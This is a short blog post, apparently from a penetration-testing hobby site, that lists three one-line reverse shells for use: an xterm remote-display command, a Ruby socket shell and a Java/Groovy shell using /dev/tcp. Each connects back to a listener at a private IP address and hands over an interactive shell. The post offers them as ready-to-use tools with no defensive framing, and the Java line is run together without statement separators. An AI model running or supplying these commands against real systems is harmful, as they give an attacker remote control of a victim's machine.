One Liner Reverse Shells, Remote Desktop Edition

By |2020-05-23T15:27:29-04:00May 20th, 2020|Jeet Kune Crypto, One Liners|0 Comments

one line reverse shell xterm
one line reverse shell using xterm

So, it’s been a little while, since I shared some one line reverse shells with you guys. Here are a few “obscure” ones, if you ever find the need for them. I do not recommend bothering with the remote Xsessions. But, to each their own.

Xterm One Line Reverse Shell

You’ll need to listen on port 6001 using a tool like xnest, try xnest :1 and then:

xterm -display 10.0.0.1:1

Boom! Remote desktop.

Ruby Reverse Shell in One Line

Listen on port 1234, obviously.

ruby -rsocket -e'f=TCPSocket.open("172.16.16.169",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java One Line Reverse Shell

This one is cross-platform, as Java always tries to be. Listen on port 2002

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.16.16.169/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()